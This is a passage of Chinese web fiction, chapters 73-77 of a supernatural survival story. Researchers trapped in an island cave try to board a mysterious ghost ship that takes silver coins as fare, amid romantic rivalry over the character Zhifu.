因为语言不通,戎火一直坐在队伍的对面,他也没看他们, 匕首握在手里,目光只一心盯在外面那艘奇怪的船上, 整个人的身体都崩得紧紧的, 仿佛防备着随时可能出现的危险。 虽然她极力控制着自己的表情和眼神,但却总是忍不住往戎火的胸前看——天地良心,她绝对没有想抢戎火的‘船费’的意思!她只是有点……有点不知道该怎么办才好了。 慌乱之中, 她几乎没有办法控制自己的思绪:戎火知道, 哦不是,是猜到了这件事吗? 戎淼呢?她一直很聪明……戎火, 她没怎么接触过这个男人。 说实话, 这个男人少言寡语, 不是开朗的性格, 他们根本连语言都不通, 很多时候戎火只会跟戎淼和夕同简说话,对于其他人,也不知道是懒得理会还是不知道该怎么跟他们接触, 所以连交流都非常非常少。 就像现在这样—— 所有研究员都围在一起, 彼此依靠着取暖、说着悄悄话来打发时间, 而戎火就像是一只离群的孤狼般坐在离所有人都最远的地方, 不参与他们的话题,也不看他们, 如果不是他还坐在那里,如果不是夕同简交代了戎火照顾他们。 严雾简直要怀疑这个男人会头也不回地离开,对于他来说他们只是累赘。 其实他也根本没有留下来的理由吧……? 虽然夕同简交代了很多, 但严雾忽然想起来,在海岛这样残酷的生存环境下,夕同简和他、和戎淼的合同里,明确地交代了,如果遇到生死关头,戎火可以放弃其他研究员,独自逃生——这也是为了最大程度地保障戎火的安全,给这个对陆地法律一窍不通的海岛人留一条退路。 所以,呃…… 戎火是真的可以走的。 严雾不觉得自己和自己身边这群人有什么值得他冒生命危险来保护的人……至少她是这样觉得的,如果事情真的走到那个地步,凭她和戎火的交情……算了,她心里有数。 严雾长长地叹了一口气。忧愁地看向自己的同事。 他们的脸上是如出一辙的茫然和惶恐,但至少没有被阴郁笼罩,找到了夕同简和戎火戎淼的他们简直就像是找到了鸡妈妈的小鸡,虽然仍旧不知道该前往何方,但总算有了个主心骨,也安心了不少。 严雾看着他们天真的表情,又是长长地叹气。 真让人羡慕,跟他们的表情一比,她心里重重的心事就好像只是杞人忧天一样,心里担心得不得了,却连分享和商量的人都没有。 唉,难道要让她去问戎火:‘你们有船费我们没有怎么办?’吗? 如果之芙醒着就好了……严雾坐在地上,低下头,伸出手勾了勾躺在地上的之芙的手指。 女孩儿静静地躺在那里,双眼紧闭,表情安详,像是沉入了睡梦之中的睡美人。戎火把应急提灯放在她的身边,温暖的灯光照亮她柔软的眉眼,眼睫的阴影落在脸颊上,露出根根分明的弧度。 在漆黑的、冰冷的、可怖的洞穴里,她睡得天塌不惊,有一种仿佛能让一切都安静下来的静谧和温柔萦绕在她的身边,那感觉并非来自一种虚无缥缈的气质,而是相信…… 相信这个总是笑着、语出惊人的女孩儿,有带领他们走出绝境的方法。 如果之芙醒着就好了。严雾有点难过地想,虽然之芙只睡过去了一个多小时,虽然她就躺在她身边,但她已经开始想念她了。 想念她身上馥郁的香气,想念她生动的表情,想念她温暖的怀抱。 如果之芙醒着就好了……至少能跟她说说话…… 严雾越想越难过,吸了吸鼻子,拉住之芙的手。 “你,看到?”旁边突然发出的声音把沉浸在忧伤里的严雾吓了一跳。之前……戎火坐得有这么近吗?还是她才发现,戎火的位置虽然远离人群,但却刚好在之芙的身边? 她一抬头,才发现戎火虽然在说话,但他的眼睛一直看着躺在地上的之芙。 “看到什么?” “那个……东西。”戎火的发音非常别扭,像是从喉咙里挤出来的似的,听得出来他完全找不到关于‘那个东西’的词汇,他指着严雾的口袋,严雾摸了摸才意识到口袋里放着的是夕同简之前给她的手机。 戎火又比划了一下,他声音刻意的压低,仿佛害怕吵醒睡梦中的之芙:“她,身边的,那个,东西。” ——就是跟在之芙身边的那个黑影。严雾摸了一把脸,虽然知道不可能吵醒之芙,但也下意识地跟着压低音量:“对,我看到那个东西跟在芙芙身边……”‘ 她心里一紧,忽然意识到了戎火的意思。她赶紧从地上爬起来,拿着手机录像功能绕着周围照了一圈——那个黑影消失了。 她盯着屏幕,确保自己没有看漏什么,才长长地松了口气,走回之芙身边。 ——然后她就看到,戎火坐在地上,他解开了自己的衣服裹住之芙,把她半包在了怀里。他没说话,只是默默地低着头,看着她。 稍长的刘海遮住了他的眼睛和表情,但严雾看到,睡梦中的之芙皱了皱眉,戎火伸出一只手,轻轻地抚平了她的眉头。 他的指尖粗糙,甚至泛着白色的茧子,然而动作却非常轻。严雾站在原地眨了眨眼睛,简直难以想象这个粗糙的、严肃的男人会有这样柔情而细致的动作,那双拿惯了匕首,习惯于在雨林里穿梭的手,竟然也能有像风一样轻柔的力道。 等等……不对! 戎火什么时候跟之芙的关系变得这么亲密了……? 戎火看之芙的眼神,实在是不太清白。 作为之芙的未婚夫……夕老师他,他知道这件事吗?不对,现在夕老师刚好在跟之芙吵架!所以,戎火是想趁着机会趁虚而入,撬夕老师的墙角? 严雾:…… 严雾默默地捏紧了拳头! 这一刻,衣兜里的手枪突然就变得沉重了许多,脚步也是。 她刻意放重了脚步,噔噔噔地走回去,一屁股在戎火身边坐下。 “我刚刚看了,那个黑影没有跟过来。”她先交代事,然后在戎火点头的时候,朝他伸出手,“戎火先生,不烦你了,让我来照顾芙芙吧,毕竟,她是我的师母。” 戎火默默地看着她,那双深不见底也没有情绪的黑色眼睛让人看着就心惊胆战。 他没有接话,也没有要把之芙给她的动作,于是气氛就这样一下僵硬了起来。严雾又刻意咳嗽了一声,暗自捏紧拳头,心道夕老师我只能为你做到这里了! “那个……”她还没说完。 戎火忽然说:“不是,你的,师母。” “什么?” 戎火认真地看着她。他这样的男人,平常沉默的时候总是面无表情,显得很严肃,很有压迫感,还有些淡淡的不屑。但此刻,他的表情却认真得像是个孩童似的,仿佛他说得是什么天大的事情。 他说:“夕老师说的,不是,师母。”说完,他更紧地抱住之芙,像是害怕她在睡梦中着凉那样,把她裹进怀里,黑色的外套里只露出之芙柔软而白皙的小脸。 严雾目瞪口呆地看着他,好半天才反应过来他的意思—— 难道,夕老师要跟芙芙分手?! 夕老师!你糊涂啊! 戎火又说:“他,夕老师,不好。她,不开心。” “……”严雾再一次陷入了沉思。 为什么夕老师要跟芙芙分手呢?虽然,但是……好像…… 也不是……无迹可寻?似乎之前就有这样的踪迹,但那时严雾却没有放在心上。 之前在研究所的时候,夕老师好像对芙芙就没什么关心,再加上芙芙一直说夕老师是渣男…… 久违的记忆涌上心头,严雾心里咯噔一下。 如果说夕老师要跟芙芙分手的话,那戎火确实可以追求芙芙,而且他似乎比夕老师更有资格…… 等等,等等…… 也就是说…… 她也能追求之芙了? 不不不不不,她在想什么啊!虽然她很喜欢之芙,但也就是对朋友之间的喜欢,她又不是女同! 但是有一说一,之芙确实很好很可爱;虽然她不是女同,但是有一说一她确实挺喜欢之芙;虽然她不是女同,但是有一说一如果能亲一下那张柔软的脸蛋…… 啊啊啊啊啊!!!等等!她在想什么啊!她又不是女同! 第74章 《大卸八块》 另一头,黑暗的…… 另一头, 黑暗的洞穴里。 在路过第六个莫名其妙的、本不该出现在这里的洞穴的时候,夕同简和戎淼一起沉默了。 夕同简划去草稿纸上的最后一段演算,捏了捏鼻梁:“这已经不是公式或者规律的问题了。” 这就是凭空出现的路, 没有任何规律可言。 戎淼耸了耸肩,提起应急灯往后照:他们最起码已经走了一个小时了, 但往后看, 熟悉的壁画开头正在他们的身后静静地看着他们,像是一个阴魂不散的鬼魂一般,提醒着他们根本没有走出最开始的山洞。 “走吧。”戎淼道, “无头苍蝇一样乱撞也不是办法, 先回去,再商量。” 她在夕同简面前晃了晃提灯, 却没有回头往回走的意思。 夕同简越过她, 走在她的前面, 把背后留给她。走了几步, 他又转过头来, 举起双手:“我没有带武器。” “……”戎淼当即便笑了,“夕老师,我没有怀疑你。我说我们尊重您是真的, 不是谎话。” “尊敬是一码事, 展示诚意是另一码事。”夕同简笑了笑, 道, “你比你哥哥聪明,知道我在说什么。” “现在的情况还没有到你死我活的地步。”戎淼道, 又嘟囔,“我哥也没那么笨吧……” “笨点对我们比较有利。”夕同简说。 “也是,还是祈祷他笨一点吧。”戎淼道, “反正他反应快,真遇到危险,脑子还没反应过来,刀就会先出鞘。” “你说得对,现在还没到你死我活的地步。”夕同简道,“幸好只有一个伤员。时间不多了,我不想绕弯子,我们开诚布公地谈谈条件吧。我恳求你,把戎火的船费给伤员,你带着他去求援。这是我能想到的最好的办法。” “很公道,我没有拒绝的理由。”戎淼说。夕同简的要求确实没什么可说的,已经足够公道了。“不过我还是觉得,事情不会这么简单……” “事在人为。”夕同简说。 “那可说不准,说不定那个黑影现在就跟在我们身后,听我们要干什么呢……” 戎淼说着,跟夕同简交换了一个眼神。 “你确定?” “试试吧。”戎淼道,“放心,我们是你请来的向导,我们知道这座岛上有多危险,但还是来了。这点觉悟我们还是有的,我们只是想上船,又不是想害人。再说了,我们可不觉得你们能打得过我们。” 夕同简欲言又止。 虽然戎火和戎淼的格斗技术、求生本能都比他们这群文弱研究员要强…… 但是,戎淼应该知道他们有枪的,对吧? …… 山洞里,夜风呼啸。 严雾盯着裹在大外套里、正在睡梦之中的之芙,陷入了沉思。她面露纠结,连其他主动来找她说话的研究员都没有放在心上。 几个研究员见她没什么精神的样子,又回到了人堆里去。 她脑海中正在天人交战,还没纠结出一个所以然来,忽然听到一旁的研究员满怀期待地喊了一声:“夕老师!” 也不知是心虚还是怎么的,严雾像是火撩着屁股一样猛地从地上跳了起来:“夕、夕夕夕……夕老师!你回来了!” 夕同简有些奇怪地看了她一眼,对其他人道:“嗯,我刚刚跟戎淼出去看了一下路。” “那……”其他人满怀期待地看着他。 夕同简神态自若地道:“我和戎淼到出去的洞口看了看,外面天太黑了,晚上雨林里穿行也很危险。现在至少没什么危险,我们就先在这里呆一晚上在离开吧,至于伤员……”他看向戎淼。 戎淼会意,道:“我带着他离开就好了,人多了也不方便照应,更加危险。” 戎淼说完这话,不等其他人反应,夕同简就道:“先把晚上过夜的东西铺出来吧,有人带了毛毯或者帐篷睡袋吗?” 短短的几句话,伤员的问题解决了,回去的方法和时间也解决了。众人一时间好像找到了主心骨似的,不等夕同简过多催促就忙活了起来,照顾伤员的照顾伤员,收拾地方的收拾地方。 虽然他们逃命的时候来得着急又混乱,但竟然真的有人带了背包,背包里有吃的和毛毯,于是众人在地上铺开毛毯准备凑合着先睡一晚上。 戎淼和戎火带着小锅和水,罐头吃完了但还有压缩饼干,几个研究员自告奋勇地用应急的火源烧上水,把压缩饼干丢进去煮成一锅糊糊,虽然卖相和口感都非常奇葩,但好在饱腹感不错,而且这么冷的天能吃上一口热的糊糊也足够叫人幸福了。 这一头研究员们忙得热火朝天,另一头,严雾却有些踌躇。 虽然夕同简和戎淼说得话都没什么漏洞,而且他们俩一向是团队的主心骨,从来没人怀疑过他们的决定,但是…… 看着忙得热火朝天的同事们,再看看夕同简和戎淼淡定又胸有成竹的表情,严雾的心里却总是有一股挥之不去的阴霾,她的心脏不断跳动着,仿佛在提醒着她,面前这看似毫无破绽的一切,其中一定有什么不对劲。 她跑到夕同简和戎淼的身边——这两人正蹲在伤员的身边检查伤口。 “夕老师……”小赵躺在地上。因为伤口的原因他不能坐起来,只能躺在地上,夕同简·的外套垫在他的身下,因为疼痛,他的声音已经变得很虚弱了,头上的冷汗也变少了。“找到出去的办法了吗?” “找到了。”夕同简半跪在地上,紧紧地握着他的手,语气里满是安慰,“你放心……我们会带你出去的。” “那……那就好……” 他拿了一碗汤来,喂小赵吃了点东西。吃完东西,小赵明显精神了不少。 严雾站在一旁,心里更加沉重。她和小赵在研究所的时候关系就很好,如今看到他这个样子心里更加难受。 戎淼站在一旁摸了摸他的额头,笑着安慰他:“放心,我赶路速度很快。你先睡一觉吧,醒着伤口更难受,等你一觉睡醒,就到医院了。” 夕同简从旁边抽出外套,撕成条状的,准备把小赵固定在戎淼的背上。 小赵低声说:“那我就……先睡了……戎女士,我应该不算重,麻烦你了……” 戎淼拍了拍他的手。 然而,夕同简整理好布条之后,却不着急让戎淼带走小赵,他和戎淼对视了一眼,似乎在等待着什么。 “夕、夕老师?”严雾胆战心惊。 “没事。”夕同简抬头,冲她安抚地笑了笑,“戎淼会带他走的。” ……真的吗? 夕同简给戎淼打了个眼色,他站了起来,一边往研究员们身边走,一边低声问:“之芙呢?” ……!!!严雾这才想起来什么。 “啊,那个,戎火在照顾她呢!” 夕同简脚步一顿。严雾顺着他的视线看过去,只见山洞的角落里,两人正依偎在一起。高大的男人拥着之芙,厚厚的衣衫下露出那张柔软的小脸,周围弥漫着一股其他人插不进去的、温馨又柔情的氛围。 夕同简:…… 夕同简脑门上蹦出了一条青筋。 “那个,夕老师……”严雾又说,“戎火说,你说你不是芙芙的未婚夫了,是真的吗?” 她顿了顿,颇有点不好意思:“我的意思是,嗯,如果夕老师您不再是芙芙的未婚夫的话,我是不是也可以……” “不可以。”夕同简斩钉截铁,死亡视线扫过严雾,“假的。” “诶?” “假的。”夕同简慢条斯理地整理了一下袖口,气势汹汹地走上了前,扔下一句,“我才是之芙唯一的、真的未婚夫。” “诶?!” 严雾目视着夕同简走上前,心里冒出一句:他们两个……应该不会在这种危机时刻,打起来吧?! 应该吧?! 第75章 《大卸八块》 “放开我!”那人尖叫道…… 夜色已深, 营地里一片黑暗,只有不远处亮着一盏小灯,戎火正在守夜。 他们找了个洞穴深处的地方扎营, 这里看不到巨船的位置,也是戎淼刻意选择的扎营地——明面上的理由是为了避风, 夜晚的海边本就风大, 呆不过半小时就能把人吹病,是以也没有人怀疑这个理由。 煮大锅粥的时候戎淼往锅里丢了几个草药,据说这是用来止痛的, 虽然不如麻醉剂药力那么明显, 但也容易让人陷入昏睡。 只有这个,也够了。 “小赵……小赵?”寂静的深夜里响起了戎淼轻如尘埃的声音, “你醒着么?” 黑夜中没有人回答。受了伤的小赵不仅喝了粥, 戎淼还往他嘴里塞了药草, 按理说药力比其他所有人都大, 不醒也是正常的。 夕同简跟戎淼交换了一个眼神, 快速地用布条把他绑在了戎淼的背上,比了一个“OK”的手势:“去吧。” 戎淼点点头,背着小赵小心翼翼地走出营地。研究员们席地而睡, 睡姿也乱七八糟的躺在地上, 戎淼小心翼翼地绕过三三两两成队的研究员们, 正要走出营地, 忽然一双手拉住了她的脚踝。 “!”戎淼顿时倒吸一口气,睁大了眼睛。 躺在地上的女孩摸索着爬了起来, 昏暗中,她的眼睛却亮晶晶的,一点儿也没有刚刚睡醒的迷蒙。 ——正是严雾。她看了看周围, 小声地说:“戎淼……你要走了吗?” 她一面说着话,一面胆战心惊地看向周围,忽然,额头上多出了一阵刺痛,一个冰凉的铁器顶在她的额头上。 她移动眼珠,却看到戎淼居高临下地、表情冷漠地看着她,她的匕首抵在严雾的额头上:“躺回去,不许动。” 匕首上冒出了森森的寒意,严雾的额头冒出大颗的汗珠,尖锐的刺痛提醒着她,如果她乱动或者大喊,戎淼绝对会在她发出声音的一瞬间杀了她! “我……我。”严雾吞了下口水,感觉自己冷汗直冒,“我没有别的的意思,就是担心小赵……” 一只手过来,轻轻推开她额头上的匕首,是夕同简。他对戎淼摇了摇,戎淼迟疑了一下,还是收起了匕首。 “去吧。我来处理。”夕同简轻声道。 戎淼怀疑地看了他一眼,背着小赵走出洞口。 严雾看她走远了,那种戎淼给她带来的,仿佛深深刻入身体里的毛骨悚然感才微微褪去了一些。她想站起来,却被夕同简按住了肩膀。 “夕老师,这个还给你……”严雾赶紧从兜里掏出之前夕同简塞给他的手枪,“你,你们要走了吗?” 昏暗中,夕同简对她摇了摇头,把手枪塞回了她的口袋里:“拿好这个。” 严雾忽然意识到了什么,有点惊慌。她从地上爬起来,借着月光,看到山洞的出口处,戎淼两兄妹站在一起。头顶的月光把他们的身形拉得很长,在身后拖出黑色的一条,扭曲变形。 戎淼低声跟戎火说了一句什么,戎火点点头,也没有多问。他从胸口扯出那条熟悉的链子,月光落在两枚串在一起、闪闪发光的银币上,照出刺眼的亮光来。 戎火把链子解开,戴到了戎淼背着的小赵脖子上。 夕同简见她看到了,也没有多阻止,只是站起来往山洞那边走。 “夕老师……所以山洞里的路是消失了吗?”严雾压低声音问,“之前我就在想……” 在想,为什么那些研究员们走不通的路,夕同简却可以。按理来说,那也并不是特别难的公式,作为研究员他们的脑子也并不笨,又捡到了夕同简丢下的草稿纸,按理说只要走过几个山洞就能找到规律,找到出去的路…… “是路有问题。”夕同简的话打断了严雾的胡思乱想,“大概是……”他看向了一侧的壁画。 严雾心下一沉,意识到了什么。 夕同简仰头望去,黑暗的悬崖上,戎淼背着小赵,正试图爬上巨船。 巨船停在悬崖边,船停泊的地方却离悬崖还有一段距离,而且古旧的帆船没有现代轮船那样的登船口,侧面是直上直下的轮廓,不仅没有可以任人攀爬的地方,还滑溜溜、光秃秃的,虽然触感像是石头,但光滑度却像是铁板一样。 戎淼先是试图把匕首插进船身一点点爬上去,但匕首完全刺不进去,船身也毫发无损,连个缺口都没有。 十分钟后她就放弃了,折过身来跟戎火商量起对策,没一会儿,戎火解开捆住匕首的绳索,在石壁的一侧凿出几个坑点,他用匕首,顺着坑点爬上去,准备把绳索捆在洞穴上方,看看能不能借用绳索的摆荡吊过去。 因为匕首刮擦着巨船和石壁,都不可避免地发出了一些刺耳的声音。严雾有些担心:“夕、夕老师……他们是准备……” “先带小赵走,他的伤有点严重。”夕同简道,他走到石壁的一侧,之芙正靠墙躺着,她依然在沉眠之中,也不知道梦到了什么,微微地蹙着眉。 夕同简伸手轻轻抹开了她紧皱的眉头,片刻后之芙眉头舒展开来,然而那皱眉的表情却像是转移到了夕同简的脸上似的,即使遇到路消失和改变这么诡异的事情,即使遇到被逼入绝路、被引导着互相厮杀这样的事,也能面不改色地解决问题的男人,此刻却紧紧地抿起了唇,表情也显得忧心忡忡。 严雾的动作顿了顿,她挪动着脚步也走了过去,坐在了之芙的旁边。 “抱歉……”她低声说,自己也分不清楚自己是在对夕同简说话还是在对之芙说话,又或者她是在对自己说,“那个时候,我,我太害怕了……” 夕同简顿了顿:“这不是你的错,你做得很好了。” 夕同简也看过当时的录像。在看到那个古怪的黑影之后,严雾还能稳住情绪,先叫之芙过来,已经做得很好了,谁也没有想到,那个黑影会跟着一起过来。就算当时严雾不尖叫,黑影看到手机里的自己,也会带走之芙。 严雾抿了抿唇,对于埋在心里的问题她已经忍耐了许久,但却找不到人询问,也找不到人倾诉,于是在这个时刻,她终于忍不住低声问:“夕老师,芙芙会有事吗?” “……不会的。”夕同简握住了之芙的一只手,他的声音仍然条理清晰,“之芙在第一次来到这座岛上的时候——甚至更早,在研究所的时候,她就已经梦到了那个怪物。但她始终没有出事,也不像其他人一样陷入精神混乱,这说明‘梦’对她来说并不危险。” 严雾接着喃喃道:“说不定,真的像是戎淼或者戎火说的那样呢……” 如果,真的像是戎淼说的那样,之芙是“和他们不一样的人”,是“祂等待的人”,那一切都说得通了。 只是,为什么呢?为什么之芙是那个人呢? 那个怪物找她,又是为了什么呢? 严雾喃喃道:“感觉这有点像是……” “像是?” 严雾挠了挠脸:“有点像是……夕老师,你玩过游戏吗?” “什么?”这显然问到了夕同简的盲点上。 严雾比划了一下,手舞足蹈:“就是,那种一路通关,最后打大boss的动作游戏。或者说,就理解成勇士和巨龙?在勇士没有出现的时候。巨龙正在沉睡,所有人都听说过巨龙的传说。等到巨龙开始兴风作浪,玩家扮演的勇士就会成为这个游戏世界里的天选之人,她是巨龙等待已久的对手,也是巨龙命中注定的敌人。” “为什么这么说?”夕同简难得一连茫然,显然没有跟上严雾跳跃的思维。 “嗯……就是,你不觉得很像吗?其他人都逃不过‘巨龙’的攻击,但‘勇士’就能从每一次的攻击中幸免于难并且变得更强,最后她会打倒恶龙,拿到奖励!这就是勇士的天赋和游戏赋予她的主角光线,就像是我们都无法抵抗梦里那个怪物的攻击,但芙芙却像是没事人似的……” “嗯……虽然很难理解但是……”夕同简的表情依旧茫然,他和严雾对视着,一人满脸茫然,一人却兴致勃勃。“如果‘巨龙’被打倒后能得到奖励,那奖励一般是什么?” 严雾想了想:“虽然现在有一些新编的故事里,勇士最后会和巨龙在一起。但在传统故事里,打倒巨龙后,国王会赐予勇士宝藏,赐予她数不清的土地、钱财和美人……” 呃……美人…… 下意识地,严雾看向夕同简。 男人坐在地上,垂着眼。他眼睫纤长,微垂下来的时候就打下一片柔软的阴影,但侧脸的轮廓却坚硬而锐利,鼻梁高挺,薄唇的颜色也浅淡。 不知为何,这个角度让严雾想起了戎火。他们明明是完全不一样的男人,一个坚硬而粗糙,沉默寡言,一眼看去就是那种只会埋头苦干的不善言辞的糙男人的形象;另一个却柔软、爱笑,长袖善舞风度翩翩,学识渊博,是那种有包容感、非常温柔又暗藏危险的长辈似的男人。 但大概是姿势原因,两个人的身形,忽然在这一刻在她的眼里重叠。 严雾想,这大概是因为他们看之芙的眼神都非常相像吧…… 她一时有点呆住了,忽然见夕同简抬起头,冲她笑了一下——那笑容就是夕同简脸上常见的、温柔的笑,但严雾却莫名打了个激灵。 只见夕同简嘴唇开合,说:“哦?美人?有多美?” 严雾:…… 严雾立刻清醒了!打了个哈哈干笑着说:“呃,其实呢……这只是一个游戏可能的走向!也有可能是……” 夕同简笑眯眯地看着她。 “是……对对,也可能是,公主深陷泥沼,被巨龙引诱着落进了巨龙的巢穴,勇士挺身而出,闯入了巨龙的洞穴拯救了公主,国王将土地、财宝赐予了勇士,还将公主嫁给了她!从此以后,勇士和公主一起过上了幸福快乐的生活。” 夕同简略一点头,表示满意。 一侧的夜灯散发出淡淡的光,把两人的影子拉得很长。严雾忽然在心里“咦”了一声—— 刚刚,好像看到夕同简身后的营地里,有个黑色的影子动了一下。 但等她再仔细看去,又好似毫无异样。所有人都静静地躺在原地,戎淼下的药足够他们一觉睡到天亮。如果顺利的话,到那时候就会有船和直升飞机来接他们。 如果顺利的话……这趟诡异的科考之旅,也就到此为止了。 严雾又看向一旁,戎淼兄妹把石壁凿出了刚好够一个人踩上去的坑,戎火拍了拍石壁,转身给了戎淼一个示意。 细小的石块顺着他的动作掉了下来,一下子砸到了戎淼身后的小赵的脸上,把他砸醒了过来。 “发、发生什么了……” “安静点。”戎淼低声对身后的人呵斥,“正在带你离开这里。” 以她的力气,背着一个人爬上石壁也不是什么难事,但石壁陡峭,凿出来的位置供一个人落脚都很勉强,加上身后背着一个人,重心点不好平衡,攀爬变得更加艰难。 她爬到了石壁的上方,夜风像是刀子一样刮过她的脸,把她的发丝吹乱。戎淼定了定神,借着绳索试图荡过去,但好几次都失败了。 在场所有人的心都提了起来。 戎淼想了想,把绳子收了起来,用力地抛到了船上。也不知道她勾住了什么——从他们的视角很难看到——她扯了扯绳子,确定结实之后,就把绳子抛回了洞穴里,又从石壁上跳下来,没有多说话,一口气顺着绳子,爬上了巨船的边缘。 注视着这一幕的戎火严雾和夕同简三人同时松了一口气。 从外面看不到船里的样子,只见戎淼扒在船的边缘,对他们做了一个“OK”的手势,轻巧地一个翻身,站在了甲板上。 戎火低声问了句什么,大概是在询问船内的情况。戎淼低声回应,还没说几句,一个黑影忽然闪过他们眼前! 夕同简只感觉眼前一花,戎火的反应比他更快,他一伸手,抓住了那个冲在最前面的人影! “放开我!”那人尖叫道,“你们想丢下我自己逃命吗!” 夕同简登时吸了一口气,戎火不由分说地把那个人摁在了地上,借着月光,他们看清楚了他的脸,还有那双满是怨恨的眼睛—— 竟然是最开始,在研究所里跟夕同简吵闹着要代替小赵当领队的男人。 第76章 《大卸八块》 别管他了快跑! 颠簸, 摇晃。 整个人仿佛坐在一辆颠簸的船上似的,身下摇摇晃晃,之芙只感觉天旋地转, 头痛脑胀,初醒后的茫然混合着强烈的摇晃感催生出胸腔里的恶心, 她皱起了眉头, 眼前的一切都在急速地旋转,她下意识抓住了最近的东西—— 对方发出了一声闷哼。 之芙却顾不上看他,她被眼前的场面硬生生震得愣在原地—— 她此刻似乎身处一个洞穴之中, 身边的一切皆是黑暗, 面前的山洞出口处却亮着光。又遥远的月光穿过海面落在山洞之中,一艘黑漆漆地、仿佛能把周围的光线都吸进去的黑色的巨船停泊在山洞的前方。 那巨船的构造无比原始, 简单得仿佛原始人使用的小木船, 但它看起来却又无比地宏伟, 像是一栋写字楼那么高, 人类站在它的面前就像是蚂蚁一般渺小。 但最令她震撼的是…… 她看到有人爬上了船。渺小的、蝼蚁似的人类, 在头顶月光惨淡的天幕下,在脚下漆黑而不断嗡鸣的海浪声里,顺着一根绳子往上爬。 这一幕就像是什么巨型油画上被永恒定格的, 足以记录千年的历史似的, 让人怔愣在原地。 而后, 之芙看到, 最领头的那个男人爬上了船。他欢呼着,手脚并用地勾住船的边缘翻进了甲板里, 摔进了甲板里。月光下,她隐约看到甲板上还有另一个熟悉的影子,正和爬上船的男人形成对立之势, 月光从背后模糊了她的轮廓,把她融进了夜色之中。 那是……戎淼! 之芙突然感觉到身下抱着她的那个人猛地一顿。他似乎正在往山洞的深处走去,此刻忽然停下了脚步,也骤然转头看向巨船的方向,他屏住呼吸,眼睛眨也不眨地看着,似乎正在等待或者期待着什么。 “夕……夕同简?”借着月光,之芙认出了抱着自己的男人是谁,只是她还有些刚从梦里醒来的眩晕,摇头晃脑地问,“你怎么在这里?那艘船……出了什么事吗?” 夕同简回过头来,还没来得及回复什么,忽然从他们的身后又冲出另一个人,那人穿着研究员们统一穿着的外套,明显是研究所里的研究员。但他猛地撞了一下夕同简,把夕同简撞得一个踉跄,却没有回头或是道歉,只是冲向了前方。 顺着他的脚步,之芙看到戎火也站在巨船的下方,他握着匕首,站在绳子的一边,表情像是在思索着什么。 那个研究员很奇怪。他没有跟夕同简道歉,也没看向所有人都很尊敬和害怕的戎火,他无视了所有人,径直从山洞起跳,一下子抓住了绳索。 ——那瞬间之芙意识到了什么。他大概是被那个成功上船的人鼓励了,也不顾一切地想要登上船去。 但是,忽然—— 一声尖叫。 顺着尖叫声看去,月光下,那个刚刚顺着绳索爬上船的男人仿佛被一双无形的手从空中提了起来,虽然相隔很远,但依稀能看到他不断挣扎的样子,他朝着周围拳打脚踢,但似乎毫无作用,那双无形的手不仅不被他影响,反而顺着他踢打的方向,把他抓到了空中。 向下就是海湾,漆黑如同无底深渊,看不清底下的悬崖石壁还是深海,只有阵阵的海浪声从中传来,仿佛是从地狱传来的嘶吼。 男人意识到了什么:”等等!为什么、为什么她可以——为什么!!!“ “不、不不不!!!不——” 尖叫戛然而止。被拎起来的他就像是一只可怜的小鸟,折断了翅膀,直直地坠落—— 海浪声消失了。一声尖叫,一声闷响。 漆黑的夜晚,谁也不知道他的下落。如果落在海里说不定还能活,可是四面都是悬崖,如何靠岸?如果落在石头上,那就更…… 场面一片寂静,海浪声再一次涌来,浪奔浪涌间似乎只是方才片刻的重复,永远也没有尽头,但整个天地间的气氛却悄然地变了。 之芙感觉到,夕同简的下颚猛地绷紧了,他咬着牙,一侧的脸颊肉凹陷下去,大概在狠狠地咬住口腔内侧来保持冷静。 “先走。”在身边所有人都回不过神来的时候,他低声地对站在他身边的严雾说,“别回头,保持冷静,悄悄地离开,不要让别人发现……” “夕老师……我、我想跟你和芙芙一起走……”严雾也屏着呼吸小声地说。 “他们发现了真相之后肯定会追杀我。”夕同简用平静的语气说出了非常可怕的话,他顿了顿,接着又说,“你跟着我们,他们一定也会认为你和我们是一伙的。你没法一直抱着之芙逃跑,所以,我们分开走。” 之芙想说,为什么要抱着她?她也可以自己走的啊! ——虽然她还没搞明白,现在的情况到底是怎么回事。 “但是、但是也有可能他们发现不了真相啊。”严雾努力地思考着,试图说服夕同简。 “马上了。” “什么?” “……马上,他们就会知道真相了。” 夕同简直直地看向巨船的上方。惨淡的月光下,那双无形的手又拎起了戎淼。在场所有人都屏住了呼吸,似乎已经看到了即将发生的惨剧。 但比起胡乱挣扎的男人,戎淼表现得很镇定。那双手把她拎到了空中之后,却没有把她扔下船。 她胸前的口袋里,一串项链飘了起来,两枚银币在月光下闪闪发光,几乎能刺痛人的眼球。 项链像是被什么东西割断,银币啪嗒一声落在了悬崖下。 戎淼被放回了船上,她落地,扶起了躺在一旁的小赵。 即使之芙完全不知道发生了什么,看到这一幕,她的脑海中也浮现出了几个字——替死鬼?又或者……这像是在买船票。 船票?戎淼的身上有船费,那么,戎火的身上应该也有吧?夕同简也…… “……快跑。”夕同简几乎是从牙缝里挤出了这两个字。几乎是他这两个字刚刚落下,还挂在绳索上的人、他们身前身后站着的研究员,就像是被操控的人偶一样,齐刷刷地扭过头,即使在黑暗中,也能感受到他们充满恶意的、热切的、饿狼一般的目光。“千万别被他们抓到……” 严雾咽了下口水:“戎火……” 戎火还在绳索下面呢……他…… “别管他了快跑!” 之芙只感觉耳边风声呼啸,远处山洞外的光一下就远去了,是夕同简抱着她,拔腿就奔向了山洞深处! 第77章 《大卸八块》 “发生了什么?”…… “发生了什么?” 摇晃、颠簸, 剧烈的喘息声在耳边响起,之芙稍微动了动,想从夕同简的肩膀上下来自己跑, 却被夕同简更紧地抱住了。 奔跑中的夕同简略一低头,看到她疑惑的表情。 “……你醒了。”他只是微微一低头, 很快又看向前方, “你梦到了什么?” 片刻后他暂时停在了一个拐角处,把之芙从怀里放了下来:“能走吗?刚刚……呃。” 之芙在他的搀扶下站了起来,才感觉浑身上下都软绵绵的, 两条腿像是面条一样软, 脑袋也晕乎乎的,整个人摇摇晃晃, 根本走不出几步。 她看向夕同简, 夕同简转过头:“……” 之芙用力地瞪他, 想开口说话, 却发现自己的声音也变得沙哑了起来。 “……怕你一直醒不过来, 又怕你醒来之后没有热量,给你喂了点饼干汤,里面放了催眠药。”夕同简简单地解释道。 “那我……怎么跑?”之芙用沙哑的声音问。她气鼓鼓地, 没想到睡着了也能被夕同简阴了这么一道, 夕同简是不是怕她在逃跑过程中醒来引来了其他人的注意, 才给她喂药的? 夕同简侧耳听了一会儿, 似乎听到了不远处传来的脚步身,他蹲下身来再次把之芙打横抱了起来。 不用自己跑?这倒是也不错…… 夕同简却强调道:“抱紧我。” 